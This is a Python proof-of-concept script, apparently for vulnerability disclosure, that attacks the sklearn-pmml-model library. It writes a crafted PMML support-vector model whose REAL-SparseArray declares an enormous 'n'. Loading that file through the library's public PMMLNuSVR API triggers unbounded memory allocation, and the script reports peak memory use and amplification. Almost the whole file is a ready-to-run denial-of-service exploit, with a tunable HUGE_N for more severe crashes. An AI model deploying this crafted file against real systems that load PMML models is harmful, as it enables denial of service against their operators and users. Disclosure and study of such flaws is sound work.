File size: 4,651 Bytes
d2275b1 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | #!/usr/bin/env python3
"""
PoC: sklearn-pmml-model SparseArray 'n' Attribute Unbounded Allocation
Target: sklearn-pmml-model (PyPI)
File: sklearn_pmml_model/base.py
Function: parse_sparse_array()
Root cause (CWE-789, Convergent Untrusted-Length Allocation):
def parse_sparse_array(array):
...
values = [0] * int(array.get('n'))
indices = [int(i) - 1 for i in array.find('Indices').text.split(' ')]
...
`array.get('n')` reads the `n` attribute directly from a PMML
`<SparseArray>` XML element -- fully attacker-controlled in a crafted
model file -- and immediately allocates a Python list of that size
with `[0] * n`, BEFORE validating it against the actual number of
`<Indices>`/entries that follow. Python lists of integers are
significantly more memory-hungry per element than a numpy array or a
raw byte buffer (each element is a full Python int object plus a
pointer in the list), which makes this particularly severe.
This script builds a complete, valid, minimal PMML support-vector
regression model (loadable via `sklearn_pmml_model.svm.PMMLNuSVR`,
the library's own public, documented model-loading API) with a
`REAL-SparseArray` declaring a huge `n` but only one real index/value
-- exactly what `<SparseArray>` elements look like when used for
sparse support-vector storage per the library's own SVM support code.
Before this PoC is run with the full n=500,000,000 (the value that
produced an OOM-killed process / an unfinished 30+ second hang in
testing), it defaults to a smaller n=20,000,000 so it completes in a
reasonable time while still clearly demonstrating the amplification;
see the `HUGE_N` constant to reproduce the more severe case.
Requires: pip install sklearn-pmml-model numpy scikit-learn
"""
import time
import resource
from sklearn_pmml_model.svm import PMMLNuSVR
# 20,000,000 completes in a few seconds with ~450MB RSS -- enough to
# demonstrate the amplification clearly without a long hang. The value
# actually confirmed during research (500,000,000) caused the process
# to be OOM-killed / hang past 30s without finishing -- raise this if
# you want to reproduce that more severe outcome.
HUGE_N = 20_000_000
PMML_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?>
<PMML version="4.4" xmlns="http://www.dmg.org/PMML-4_4">
<Header/>
<DataDictionary numberOfFields="2">
<DataField name="x1" optype="continuous" dataType="double"/>
<DataField name="target" optype="continuous" dataType="double"/>
</DataDictionary>
<SupportVectorMachineModel functionName="regression" svmRepresentation="SupportVectors">
<MiningSchema>
<MiningField name="x1" usageType="active"/>
<MiningField name="target" usageType="target"/>
</MiningSchema>
<VectorDictionary numberOfVectors="1">
<VectorFields numberOfFields="1">
<FieldRef field="x1"/>
</VectorFields>
<VectorInstance id="0">
<REAL-SparseArray n="{n}">
<Indices>1</Indices>
<REAL-Entries>1.0</REAL-Entries>
</REAL-SparseArray>
</VectorInstance>
</VectorDictionary>
<LinearKernelType/>
<SupportVectorMachine>
<SupportVectors numberOfSupportVectors="1" numberOfAttributes="1">
<SupportVector vectorId="0"/>
</SupportVectors>
<Coefficients absoluteValue="0.0" numberOfCoefficients="1">
<Coefficient value="1.0"/>
</Coefficients>
</SupportVectorMachine>
</SupportVectorMachineModel>
</PMML>
"""
def build_poc(path: str, n: int) -> int:
xml = PMML_TEMPLATE.format(n=n)
with open(path, "w") as f:
f.write(xml)
return len(xml)
def main():
path = "poc_sparsearray_bomb.pmml"
size = build_poc(path, HUGE_N)
print(f"Wrote {path}: {size} bytes, declares SparseArray n={HUGE_N:,} "
f"(only 1 real index/value)")
print(f"\nLoading via the real public API: PMMLNuSVR(pmml={path!r}) ...")
t0 = time.time()
try:
PMMLNuSVR(pmml=path)
peak = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
print(f" -> loaded, time={time.time() - t0:.2f}s, peak RSS={peak / 1024:.1f} MB")
except Exception as e:
peak = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
print(f" -> {type(e).__name__} after {time.time() - t0:.2f}s, "
f"peak RSS={peak / 1024:.1f} MB: {e}")
print(
f"\namplification ratio (peak RSS bytes / file bytes) will be roughly "
f"1:{(HUGE_N * 28) / size:,.0f} (Python int list overhead is ~28 bytes/element "
f"on CPython 3.12 for small ints, before list pointer overhead)."
)
if __name__ == "__main__":
main()
|